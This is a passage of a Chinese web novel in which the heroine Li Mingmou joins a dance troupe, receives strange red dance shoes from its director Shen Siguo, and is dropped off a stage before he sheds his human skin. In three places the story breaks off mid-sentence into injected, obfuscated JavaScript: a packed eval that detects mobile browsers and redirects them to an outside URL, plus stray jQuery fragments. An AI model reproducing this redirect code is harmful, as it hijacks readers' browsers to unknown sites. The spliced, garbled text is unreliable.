骆绎声不以为杵,温和地说:“我带你去跟沈思过说明一下情况。”
这是他们昨晚在微信上说好的:李明眸今天要去找沈思过说明自己重新加入《弗雷娜》的事情,确认入团。
她撇嘴:“我待会会自己去。”
她就这么说明一句,也不搭理骆绎声,径直走去教室放书,准备先放下书包,再去沈思过的办公室。
走出一段路后,她发现看向这边的人有点多,回过头去看,才发现骆绎声跟在自己身后。
看到李明眸看向自己,骆绎声举起双手解释:“我陪你去。”
他做了一个投降的姿势,表情温柔友善,仿佛真的是在体贴她似的。但她还记得他昨天凶她时的样子,他还很狡猾。
哼,假惺惺的,分明就是害怕她赖账,不去报道。
她不理骆绎声,任由他跟着,又走了几步后,她回过头去叮嘱:“你不许离我太近!”别人都在看这边了。
骆绎声顺从地说了句“好”,然后停在原地,等她走出去十多步后,才重新跟了上来,跟她保持着四五米远的距离。
李明眸看他低眉顺眼的,被他胁迫的怒气,终于消散了一些。
两人一前一后到教室放书,然后又一前一后地进了沈思过的办公室。
进到办公室之后,见到沈思过已经来了,李明眸又紧张起来。
她总觉得要说明什么,但准备的说辞都没用上。跟姨妈的表现相似,沈思过立刻接受了她的新决定,表现得异常高兴,生怕她反悔的样子。
她不禁有些困惑:沈思过为什么对她如此执着?
沈思过也问了跟姨妈一样的问题:“你怎么突然改变主意了?”
李明眸没来得及回答,骆绎声就笑着抢答:“我和明眸关系很好,是我让她改变心意的。”
听到这个答案,沈思过的微笑慢慢变淡。
李明眸不动声色地观察着,内心好奇:他们到底是什么关系呢?
说明了重新加入剧团的决定后,《弗雷娜》的入团手续也很快完成了。
这入团手续比她想象的严肃:沈思过拿出了一份合同,让她在上面签名。
因为拿出合同的人是沈思过,所以她非常认真地一句一条看完了,确认它是正常的剧团合同。
等她在合同上签名后,沈思过又给了她一个日程表,她打开看了一下,有些怯了:每天都要到海大排演厅做两小时的舞蹈基础训练,还有每周两次的剧目片段排练,和一次自由表演练习。
她终于有了自己已经加入《弗雷娜》的真实感,硬着头皮再次声明:“我不会跳舞……”
沈思过柔声说:“你放心,我们的舞蹈基训师很不错,不会让你跟不上的。”
他看了一下自己的日程,圈起两天后的周四:“刚好后天就是我们的剧目排练,大家都在,你可以后天来报到。那天的舞蹈任务不重,你先跟大家见面……”
他极尽体贴,跟李明眸说了很多注意事项,甚至包括舞鞋应该怎么买的细节。
把这些事情都叮嘱完后,他突然抬头看李明眸,露出一个完美无瑕的笑容:
“而且我给你安排的角色,不是很难跳,这个角色就是为你量身定做的。”
当他露出这个笑容的时候,他周身那股潮湿腥臭的水气,又渐渐弥漫开来。
之前在弗雷娜修复号上,就在那座高塔的下方,沈思过当时就说过,他有一个为李明眸量身定做的角色,跟那座高塔有关。
腥臭的水气越来越重,最后变成了一股腐烂的气息。
李明眸的鸡皮疙瘩一片一片涌起。她不动声色后退一步,害怕沈思过下一刻就会脱下人皮,露出异象。
但沈思过依然维持着那个苍白浮肿的完美笑容:“如果你不会跳,我会安排阿声带你的——既然你们关系很好。”
他以这句话结尾,由始至终都没有脱下那层人皮。
李明眸的身体在那阵腐臭味中微微发麻,简单说了句“好”,也没有再搭话。
这时刚好宋教授又闯了进来,听到后面的几句话,随便吐槽了一句:“他们关系确实很好,之前还丢下我一块吃饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396258|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢。”
李明眸的身体仍然微微发麻着,也没有跟宋教授打招呼。
骆绎声看着她的脸色,突然插了一句话:“我们的关系确实很好,今晚也要一块吃饭。”说到这里,他看了一下手机,“刚好到饭点了。”
然后他牵起李明眸的手,跟办公室的人交代完,便带她去吃饭了。
*** ***
李明眸任由骆绎声牵着自己的手,把自己带离了沈思过的办公室。
她以为这次跟上次没有什么不同——骆绎声只是为了把她带离那个奇怪的气氛——但发现他带着她走向之前那家餐馆的方向后,她才发现不对劲。
“真吃饭啊?”
问完这句话,她后知后觉发现,周围的人都在看他们。
她又连忙挥开了骆绎声的手,跑到离他有点远的一棵树下。
骆绎声站在原地看她跑远,也没追她。
等李明眸在树荫下站好时,他才给她打了个电话:“真吃饭,可以吗?”
李明眸听了他的电话,躲在树荫下,狐疑地看着他。
“上次我请你吃过一顿饭,不是没吃上吗?今天想补上。”
她有些犹豫地问:“我们关系有这么好吗?”还一起吃饭。
电话里传来骆绎声的回答:“昨天在你家里,我有点生气,对你不太礼貌。我想跟你道歉。”
他在电话里的语气十分正常,听着很温和,也没有装作很体贴的样子。
李明眸几乎有些震撼了:他这是真的道歉了?
骆绎声站在离她约莫有十米远的地方,被太阳晒着一动不动,在电话里认认真真地跟她说话。
他的表情在中午的太阳光下看不真切,但电话里传来的语气是非常认真的。
李明眸在树荫下看了一会,早上那点浮浅的怒气,缓缓地消散而去。
对方已经道歉了……
而且这事情确实是她先不对。
她小声地说:“好吧,也可以一起吃饭。”
骆绎声:“那我现在能走过去了吗?”
她的语气立刻变得坚定:“不行!你走前边,我走你后面。”
骆绎声往这边看了一会,然后就继续往餐馆的方向走了。
李明眸在树荫下观察了一下,等他走出去一段距离后,才慢慢跟上。
两人又一前一后,来到了上次吃过的那个餐馆。
上菜的时候,李明眸余光看到服务员把一盘调料放在她面前,没等她抬头,那盘调料就被骆绎声拿走了。
等她放下菜单,往那盘调料看去的时候,才发现里面有香菜——哦,骆绎声昨天知道了她不爱吃香菜。
哼,昨天还逼她喝香菜粥,今天又做出一副体贴的样子。
李明眸默默记着仇,却发现骆绎声还在认真看菜单,仿佛他刚刚就是顺手拿走的香菜碟,不是故意的,他只是下意识那么做了。
她憋回那些吐槽,心里浮现出一个想法:难道这是社交的基本礼仪?就跟别人一起用餐时的用餐礼仪?
她默默学习着,等到菜上齐的时候,她发现有盘芝士炒饭放在骆绎声面前,于是也学着骆绎声刚刚的样子,把那盘芝士炒饭跟自己面前的一碟菜换了个位置。
骆绎声抬头看她,似乎在确认她的新信息:“你喜欢吃芝士炒饭?”
为什么是这个反应?她谨慎回答:“只是不讨厌……不是你不喜欢吃芝士吗?”
上次一块吃饭,虽然没吃上,但她看到他点了一碟芝士烤肉,明明那道菜叫“芝士烤肉”,他却特意叫厨师别放芝士。
骆绎声握着筷子沉思了一会,似乎在琢磨她的逻辑。
她没把“芝士烤肉”的观察说出来,但几秒后,骆绎声竟然真的琢磨出了她的逻辑,慢慢回道:
“我不是不喜欢吃芝士,我只是觉得芝士跟烤肉不是很搭。”
李明眸的嘴微微张着,想说点什么,最后啥都没说出来,闭上嘴低头吃饭了。
她一边吃饭,脸一边偷偷红了,也不知道要不要把那碟芝士炒饭放回去。
学习学岔了。
就这么没滋没味又尴尬地吃完了这顿饭,李明眸一个人回了家。
这次骆绎声也坚持把她送到了车站,看着她上公交才走的。
回到家之后,看着空荡荡的、没开灯的屋子,李明眸再一次真切感受到:
姨妈是真的出去出差了,并且自己是真的加入了《弗雷娜》剧团。
她即将进入新的生活,并且将在没有姨妈的陪伴下,这么度过几个月。
想到沈思过下午在办公室说的那句,“这个角色就是为你量身定做的”,她被压抑了半天的担忧重新涌起。
自己真的应对得来吗?
46. 执着的理由1
在签完入团合同的次日,报到的前一天,李明眸在家,收到一个快递。
她最近没有网购,也不会有人给她送东西。
快递面单上,却清清楚楚写着她的名字和地址。
打开纸箱,里面躺着一对鞋子。
一对柔软的红色平底鞋。
看到鞋子的款式,她又疑心这个快递是发错了:那是一对儿童款的鞋子,脚后跟有两个巨大蝴蝶结,鞋面上黏着芭比娃娃。
鞋子的面料是绸缎的,做工十分精美。虽然款式奇怪,看着却造价不菲。
她下意识翻看鞋底尺码,发现一个突兀的巧合:儿童款的样式,却偏偏是她的成人尺码。
正当她困惑时,接到了沈思过给她打的电话:“你收到我送给你的舞鞋了吗?”
李明眸的目光缓缓落在鞋面上:“你怎么有我家地址?”
沈思过没有回答这个问题。他声音温和,絮絮叨叨说起昨天叮嘱的细节,担心她买不好舞鞋,特意准备了一双,让她明天可以穿来《弗雷娜》报到芸芸。
直到这个电话聊完,沈思过也没有回答她的问题。
但李明眸大概能猜到:骆绎声也有她家的地址,是宋教授告诉骆绎声的。沈思过知道她家的地址,大概也是宋教授说的。
因为骆绎声不会说。
但有一个问题不对劲。
她把那对红色舞鞋翻过来,再次看向那个鞋码:是36码。
宋教授不知道她的鞋码,骆绎声也不知道,沈思过不应该知道。
但他确实送出了一对合脚的鞋子。
她把舞鞋放在地上,把脚伸进去,发现每个空隙和边角都是熨帖的。
这确实是一对合脚的鞋子。
她突然有些后背发凉,再次想到那个问题:沈思过为什么执着于邀请她加入《弗雷娜》?
就因为他们是同一批获救的人?因为他们共同度过了弗雷娜船难?
可是这跟加入剧团有什么关系?他看着也不是要跟她讨论她的记忆。
在他们共度的那一天,到底发生过什么?
寒意顺着脊椎攀爬,直冲头顶,又迅速蔓延至四肢百骸。细密的鸡皮疙瘩争先恐后地涌起,覆盖了她的皮肤。
她脱下那对舞鞋,放入鞋柜,停止了思考。
*** ***
在周四集合日的早上,她听从沈思过的话,带上了那双舞鞋——她检查过了,这是一双普通的舞鞋,除了款式奇怪一点,上面没有监控,大概也没有降头之类的东西。
她确实需要一双舞鞋,网购的没有那么快到。
她把那对红舞鞋放在一个袋子里,上课的时候,时不时往那个袋子看一眼,感觉心神不宁。
那双舞鞋好像会从袋子里散发出某种阴魂不散的气息,让人忍不住关注它。
难道还真的下过降头?
上体育课的时候,她穿着旧布鞋跑了800米,感觉没什么不适。
体育课结束的时候,她看着那双放在储物柜里的红布鞋,又看了看自己脚下的旧布鞋,产生一个念头:
就穿着旧布鞋,应该也可以?
沈思过不是说今天没有什么跳舞任务吗?
犹豫了一会,她把那些红鞋留在储物柜里,关上柜门,穿着自己的旧布鞋走了。
集合时间是下午3点,地点是海大排练厅。
她2点开始出发,头顶晴空万里,她在树荫下不停绕路,被晒到恹恹的。
她讨厌一切晃眼的东西,包括室外过分猛烈的阳光。但到了室内的排练厅后,情况也没有变好:里面的闪光生物太多了。
*** ***
海大的排练厅在海大音乐厅隔壁,这里经常会刷出来一些李明眸害怕的生物,比如穿得过分时髦或者怪异的学生,长得过分漂亮、看上去不好相处的人。不像他们信息学院,大家都穿着格子衫,不修边幅的样子,让人感觉很亲切。
平时这些闪光生物出现一两个,李明眸就要绕路走了,以免被他们晒到。想不到来到排练厅后,她一下子看到了好多个。
她刚来到排练厅门前,往里面看去的第一反应,两个字浮现在她的心底:“好晒!”
里面好多闪光生物聚在一起聊天,表情轻松愉悦,把周围的亮度都调高了几度,好像他们那里的太阳光更猛烈。
李明眸的脚下意识拐了个弯,闪到门后阴影里,过了一会,才探出半个头观察。
她默默数了一下,里面的闪光生物竟有十八个之多:其中十二人大约是海大艺术学院的,看着跟她是差不多的年纪,里面有三人她认识:蓝头发的吕小路和周雪怡,和猫妖娘许由美。
剩下的六人,她分不太清年纪,他们的脸看上去有三四十岁,但他们的表情和姿态太明朗了,又仿佛只有二十多岁。
无论年龄,这十八人统一散发着“晃眼”的特质。对李明眸而言,他们就是开屏的孔雀、发光的水母、流光溢彩的蝴蝶——是些会“晒伤”人的存在。
在室外被太阳晒到的时候,她起码可以到树荫下躲一躲,但这个排演厅看起来没有可以躲的地方:
挑高的穹顶让光线和声音肆意回荡;四壁嵌满的灯管将每个角落照得纤毫毕现;最致命的是那面巨大的镜墙——它将所有的光线和“闪光生物”加倍反弹,让“晒度”呈几何级数增长。
这里没有树荫,没有阴影,没有任何可以让她躲藏的角落。一切都暴露无遗,敞亮得令人心慌。
李明眸躲在门后唯一的暗角,焦虑感像藤蔓般缠绕上来。
她打量一下门内华丽的闪光生物,又打量一下自己脚下灰扑扑的旧布鞋,勇气一点点消散。
躲藏的时间越长,踏进门槛的勇气就越稀薄。
可是她不可能永远躲下去。
她深吸一口气,正要迈步,门内飘出的谈话声,瞬间又让她缩回了脚。
“那个叫李明眸的女生还没来吗?”
“爱来不来。”后面说话的是周雪怡,声音冷冷的。
议论声清晰传来:
“她到底跳什么角色?训练都开始一个多月了,现在才来?”
“她什么舞种的?”
“她根本不会跳!上次变装舞会见过,连阿声都带不动她。同手同脚……”
“啊?那她怎么进来的?有后台?”
“沈导亲自请了好几回。”
“好大牌!今天也她来的最晚……”
李明眸抬到一半的脚彻底僵住。她贴在门后面,焦虑地开始咬自己的指甲:里面的人在聊她,是不是要等他们聊完再进去?
就在她咬指甲盖的时候,她身边的阴影变大了,然后她的背被轻轻拍了一下。
虽然是轻轻的一下,但她还是吓得整个人跳了起来。
那只手离开她的背,放到她的肩膀上,轻轻压住她。
她转头看去,看到一副赤裸的胸膛,再往上看:是骆绎声。
“怎么不进去?”他问。
她发着呆没回答,骆绎声也不走,只是沉默地站着,恰好堵在她可能后退逃跑的路线上。
她胶着了一会,这才转头面向排练厅,往里面走去。骆绎声跟在她后面,跟她隔着两三步的距离。
排练厅里面,本来欢声笑语的,大家都在大声说话,李明眸从角落走出来后,气氛瞬间沉默了一会,有些尴尬。
骆绎声看到在场其他人的表情,发现了不对劲,不动声色看向李明眸。
这时许由美站了起来,她看着李明眸,微笑问道:“为什么你没有舞蹈功底,却能进来我们剧团呢?”
刚刚其他人聊闲话的时候,许由美并没有参与,她一直都在隔壁沉默。
现在李明眸进来,并且是一副在门后偷听了一会的样子,许由美突然把这个问题挑明,大概是为了让气氛好一些,也给李明眸一个回答的契机。
其他人脸上的尴尬果然缓和了些,目光齐刷刷聚焦在李明眸身上,等着她回答。
李明眸的额头微微冒出一些冷汗:她回答不出来。
她也不知道自己能进来剧团的理由。真正的理由,大概是因为她本人是弗雷娜船难的幸存者。
她不排斥告诉别人这个信息,但是在这样的气氛之下,在这样的一个问题之下,她没法自然地说出这句话。
她想张嘴说点什么,但嘴唇就像被胶水粘住了,一个字都说不出来。
气氛变得更尴尬了。
死寂。
周雪怡发出一声清晰的、充满讥讽的嗤笑,吐出两个字:“白痴。”
声音不大,但在寂静中异常刺耳,不知道在骂谁。
就在李明眸的肩膀渐渐缩起来的时候,编舞老师带着三个工作人员,吵吵嚷嚷地推门而入。
编舞老师是个四十多岁、膀大腰圆的中年男人,动作却带着几分阴柔:“哟,这么安静?都没热身?”
他也不用这些人回答,留下这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396259|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么一句话后,带着工作人员走到舞台下面,铺开一张气垫,开始吆喝充气。
借着编舞老师的这阵动静,其他人又寒暄起来,仿佛刚刚的事情没有发生。
没有人再关注李明眸。
大家故意没有看向她。
她站在人群之中,却仿佛不存在。
她感到一丝微妙的孤独,却又很习惯,肩膀一点一点放松下来。
就在骆绎声再次把手放在她的肩膀上——他的动作极轻,仿佛怕吓到她——准备说点什么的时候,门口再次传来了喧闹声。
“沈导,今天这么早?”
“这一幕是什么内容,怎么还有气垫?”
李明眸循声望去,看到沈思过被众人簇拥着走进来。剧团成员们似乎想缓解之前的尴尬,搭话时表情格外热切。沈思过一向温和,善于调和气氛,从不让人难堪。
但今天,他谁也没理。从进来后,他的眼神就在排练厅里四处搜寻,仿佛在找什么。
直到他的眼神跟李明眸对上,才停了下来。
他就那样直直看着她。
簇拥着沈思过的人没有得到回应,脸色渐渐尴尬。沈思过却视若无睹,径直离开人群,朝李明眸走来。
李明眸站在原地,身边只有骆绎声,沈思过走到她面前后,三人就这么站在排练厅的空地中央,其他人散落周围,偷偷打量他们。
沈思过看了李明眸一眼,眼神渐渐往下,盯着她的鞋子,说出的第一句话是:“你没有穿我给你的红舞鞋。”
不是疑问句,是陈述句。
李明眸有些不自在,感觉他今天的姿态跟往日有所不同,微微缩了一下脚,干巴巴回道:“布鞋应该也可以。”
沈思过看着不远处的编舞,挥了一下手:“老陈。”
那个叫“老陈”的编舞被隔壁的工作人员推了一下,才从忙碌中反应过来,往这边看来。
“我让你买的舞鞋不是还有一对吗?你拿给我。”
然后一个工作人员从工具箱里找出一个包装得极精美的鞋盒,跑了过来,递给沈思过。
沈思过抱着那个鞋盒,打开它,从里面拿出了一双舞鞋。
那是一双红舞鞋,跟他昨天寄给李明眸的那双一模一样:鞋后跟有两个巨大蝴蝶结,鞋面上粘着芭比娃娃。布料是绸缎的,做工看着十分昂贵。
他提着那双舞鞋,亲自蹲下身,把它放在李明眸脚边,然后维持着这个姿势,抬头看她,微笑道:“幸好我买了两双。”
排练的时间已经到了,围在舞台边的工作人员已经把那个气垫充气完毕,音响设备也被打开了。
一阵躁动的鼓点在排练厅内响起,在空荡荡的墙壁之间回荡。
李明眸听到的声音也跟着鼓点变得一阵一阵的,开始失聪。
她看着脚下的红舞鞋,意识到不对劲了。
周围那些开始拉伸的剧团成员,也发现了不对劲:沈思过对李明眸表现得过分关注了。
最初的疑问再次浮出水面:一个毫无舞蹈基础的人,凭什么得到导演如此执着的邀请和特殊的“关照”?
有人忍不住问了出来:“是李明眸对吧?沈导,她到底演什么角色?”
沈思过蹲着想了一下:“我要考虑一下,先让她演演看。”
周雪怡再次出言讥讽:“她不是完全不会跳吗?也没有表演经验。”
沈思过没有理周雪怡,他站起来,往舞台方向走,对李明眸招招手:“你穿上鞋子后跟过来。”
李明眸僵硬地抬起脚,正准备脱下自己的旧布鞋时,骆绎声又按了一下她的肩膀,这次他的动作有些用力,是阻止的意思。
然后他也蹲下身去,当着众人的面,把那双绸布红舞鞋仔细摸了一遍。
众人露出茫然的表情,但李明眸知道他在做什么:她昨天收到鞋子的时候,也这么确认了一遍。
骆绎声慢慢地把整双鞋子都摸了一遍后,才重新把鞋子摆好:“穿上。”
然后他站起来,伸出右手臂,让李明眸扶着他换鞋。
李明眸换好鞋子,已经是两分钟后了。
在这两分钟期间,沈思过一直站在舞台下方,他看着李明眸慢慢换好鞋,等着她朝他走去。
李明眸换好鞋后,走向舞台沈思过的方向,不安地回头看:骆绎声站在原地,没有跟上来,只是朝她点了点头。
收到这个点头后,李明眸终于不再往回看,而是快速朝沈思过走去。
47. 执着的理由2
李明眸跟在沈思过身后,踏上了三米高的舞台。舞台宽阔,除了编舞老师,还有两个工作人员在做最后的整理。
在沈思过的引导下,她沿着舞台边缘,走到了最前沿。
向下望去,下方正是那张刚刚铺好的巨大气垫。
沈思过刚刚说让她“演演看”,她不知道沈思过要让她演什么,上来又是要做什么。
剧团成员都在舞台下方,一边做着热身和拉伸,一边好奇地觑向这边。
她在这些目光中缩了一下肩膀,看向沈思过:“我确实不会跳舞和表演……”周雪怡说的是事实。
沈思过笑了笑:“今天不需要你表演,也不需要跳舞。”
他引导李明眸站到一个画了“×”的标记的地板贴上,慢慢说道:“你只需要做一个后仰的动作……”
此时编舞老师已经忙完,在隔壁就着他们的话解释道:“这个动作,在现代舞里叫 ‘Release and Fall’,或者更具体地说,是 ‘Trust Fall into Cushion’。核心在于完全放弃对身体的控制,让重力自然接管。”
他一边说,一边走到舞台边缘的李明眸旁边,做了个示范:
他先是直立,然后头部和上半身极其放松地向后倾倒,整个身体仿佛一根被突然抽去支撑的软绳,笔直地、软绵绵地落向下方厚实的气垫。落下时,他的身体几乎没有明显的弯曲或挣扎,就像一片被风吹落的树叶。
“看到了吗?”编舞老师在气垫上利落地翻身坐起,拍拍手,“关键在于完全释放恐惧和紧绷感,信任气垫,信任重力。你不需要‘跳’,只需要‘倒’。记住那个向后倒的感觉,重心完全交给后背和……嗯,命运。”
他耸耸肩,说了句俏皮话。
李明眸看着他的动作,又看着舞台下的气垫,身上的汗毛慢慢地、不可控地竖起来。
她看着沈思过,干巴巴地说:“我没记住。”
沈思过脸上的微笑纹丝未变:“没关系,你不需要记住。”他向前半步,离她更近,声音低沉清晰,带着一种蛊惑般的安抚,“其实今天的任务很简单。你只需要从这里……”
他用脚尖点了点那个“×”标记,“跳下去就行了。”
他用了一个更主动、也更模糊的词——“跳”。
她的身体像灌了铅,僵硬地钉在原地,脚尖死死抠着地板。
三米并不高,气垫也很安全,她的潜意识却在尖叫:不!
但她说不出那个“不”字,她没有理由说“不”。
沈思过径自说下去:“我待会会动一下,你不要太害怕。”
她不知道他这话是什么意思,但沈思过语气温柔,于是她下意识回了句“好”。
然后沈思过笑了一下,低下头去,动作自然地抽走了她脚底下的标记——原来那不是一张地板贴,而是一块活动踏板。
就在李明眸意识到脚下异动的瞬间,一股失重感猛地攫住了她。
她摔了下去。
不知道编舞老师刚刚跳下去的时候,感受到的是什么。
伴随着骤然炸响的鼓点声,她在那个瞬间感受到的,是一种强烈的失控。
这个瞬间过后,失重感消失,她的后背重重砸入气垫。
在陷入气垫的几秒内,她眼前一片漆黑。那股被包裹的冲击感,像是被海水缠住四肢,又像被人箍住,五脏六腑都开始移位。
那片漆黑慢慢褪去,她看到了一片血红色。
她以为是自己身上流出的血,是骨头碎了之后,从皮肤下面漫出来的血。
等那片漆黑再褪去些,她才看到红色气垫的一角——原来那不是血,只是气垫的颜色。
众人的私语声变得清晰,中间混着一阵一阵的喘息,她分辨了一会,才发现是自己在剧烈地喘气。
她闻到微微的咸味,是刚刚吓出来的一层冷汗,潮湿冰凉地粘在身上。
她僵在那片气垫上,尝试坐起来,但四肢刚撑起来一点,就发着抖,缓缓地软下去。
她半跪着坐在那里,甚至都坐不稳,听着周围的窃窃私语声变得清晰:
“还不起来吗?”
“她怎么了?脸色看着不太好。”
“能怎么啊,这才不到三米,又有气垫。”
“她是在演什么吗?”
“……”
“……”
这些声音或带着疑惑,或带着不耐,或带着一丝不易察觉的嘲弄,提醒着她的狼狈。
她发着抖坐在那里,直到一块毛毯披在她身上。
她抬头去看,看到骆绎声严肃的表情。
骆绎声把手穿入她的腋下,想把她抱起来。
她像被捞起的溺水的人,顺着骆绎声的动作,双臂死死地箍住他赤.裸却坚实温暖的身体。她整张脸埋在他颈窝里,身体无法控制地剧烈颤抖。
此刻,什么尴尬、紧张、羞臊,都被铺天盖地的恐惧碾得粉碎。骆绎声身上那一点点熟悉的气味,就是此刻唯一能让她感知到“安全”的锚点。
骆绎声的身体在她扑上来的瞬间僵硬了一下,但立刻放松下来。
他没有推开她,反而环住她颤抖的背,抱得更紧了些。
“装什么啊?”冰冷尖锐的声音穿透嘈杂的鼓点声,清晰地刺过来。是周雪怡。
她抱着手臂,站在几步开外,脸上是毫不掩饰的鄙夷和厌烦:“三米高,气垫这么厚,又没摔着你!搞得跟要死了一样,演给谁看?阿声吗?”
她在骆绎声怀里抖了一下,慢慢地、僵硬地放开他。
在她离开他怀抱的瞬间,骆绎声展开她身上的毛毯,将她从头到肩膀紧紧裹住,隔绝了其他人看向她的视线。
也隔绝了周雪怡看向她的视线。
毯子里只剩下李明眸一个人,这是她自己的世界,她听到自己的心跳声在毯子里回荡。
一股浓烈的、如同死水潭腐烂淤积的腥臭味,缓缓弥漫开来,透过毛毯的缝隙,丝丝缕缕地渗入,逐渐充斥了整个空间。
然后她听到沈思过的声音响了起来,离她越来越近:“明眸的角色确定了,她演燕鸥。”
李明眸还没说什么,周雪怡却突然发难了。
她的声音很冷,却无疑是愤怒的:“她连‘Release and Fall’都不会,跟丢了魂似的,您选择这样的一个人当女主角,是为了什么?”
女主角?李明眸也想开口反对:她确实什么都不会。
但看到沈思过看向自己的样子,她张了一下嘴,却只是发出了一声急促的气音,然后情不自禁,后退了一步。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396260|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的异象开始变化了……她能感觉到那令人作呕的气息在加重。
沈思过定定看着李明眸:“我就是想确认她有没有‘反应’,她有,所以这个角色是她的。”
还是没等李明眸回答,周雪怡又抢着质问:“什么反应?”
其他人纷纷看向周雪怡:只有她敢这么频繁顶撞沈思过。
沈思过看向其他人,答非所问:“你们不是总问我,《弗雷娜》讲的是什么吗?”他顿了顿,排练厅瞬间安静下来,“那是我在弗雷娜船难里度过的……一天。是我的2003年8月15日,我的完美一天。”
大家都知道沈思过是弗雷娜船难的幸存者,这是他创作这台舞剧的根源。
窃窃私语声骤然变大——这是他第一次正面提及剧目的核心含义。而且用词如此怪异,“完美一天”?
沈思过的声音继续响起,带着一种奇异的平静:“我们是同一批获救者……”当众人还在疑惑“我们”指谁时,他看向李明眸,“李明眸演的,是她自己。”
“‘燕鸥’这个角色之所以一直空着,是因为……她就是燕鸥。”
众人哗然:原来这才是李明眸真正入选《弗雷娜》的理由。
不是因为她有或没有舞蹈功底,也不是因为她有后台,而是因为她也是弗雷娜船难113个幸存者之一,并且跟沈思过是同一批获救者。
《弗雷娜》不是一台戏,而是她和沈思过的亲身经历。
周雪怡脸色由红变白,又由白变青:她不再有理由阻止李明眸担任这个角色——既然这个角色就是李明眸自己。
周雪怡不再说什么,排演才进行到一半,她就转身拂袖而去,连编舞老师叫她,也没能让她停下。
沈思过完全无视了周雪怡的离去和其他人的反应,他的注意力只集中在裹着毛毯的李明眸身上。
他的声音轻缓,带着一种近乎病态的温柔:
“你说你忘了……我想着,如果你真的忘了,那就算了。这个角色就给周雪怡。
“但是你的身体没有忘记……明眸,你对这个场景有反应。”
那股浓烈到令人窒息的腐烂水腥味,终于彻底淹没了整个排练厅。
沈思过那层温文尔雅的皮囊,仿佛承受不住内部的压力,从他头顶开始,缓缓地、粘腻地朝两侧滑落、剥离,露出底下流淌着污浊脓液、形态扭曲的“内容物”。
他的皮囊,终于彻底褪了下来。
那褪去人形的怪物,接着沈思过的话,用某种非人的、湿滑粘腻的腔调说了下去:
“愤怒悲伤……会在内心……留下不可磨灭……刻痕……
“伤口痊愈……记忆失散……无法忘怀……
“李明眸,你没……忘记……
“你没办法……真的、遗忘……”
李明眸的身体彻底僵住,死死低头,不敢看那皮囊剥落后的恐怖景象。
然而低下头,视线便无可避免地落在了那双鞋上——那双红色的,缀着巨大蝴蝶结和芭比娃娃,绸缎质地、做工精美的舞鞋。
在低头的瞬间,她以为自己看到的不是红舞鞋,她错以为那是自己身上流下去的血,是骨头碎了之后,沿着腿骨漫下去的血。
强烈的恶心感排山倒海般袭来。她猛地弯下腰,在毛毯的包裹下,剧烈地呕吐起来。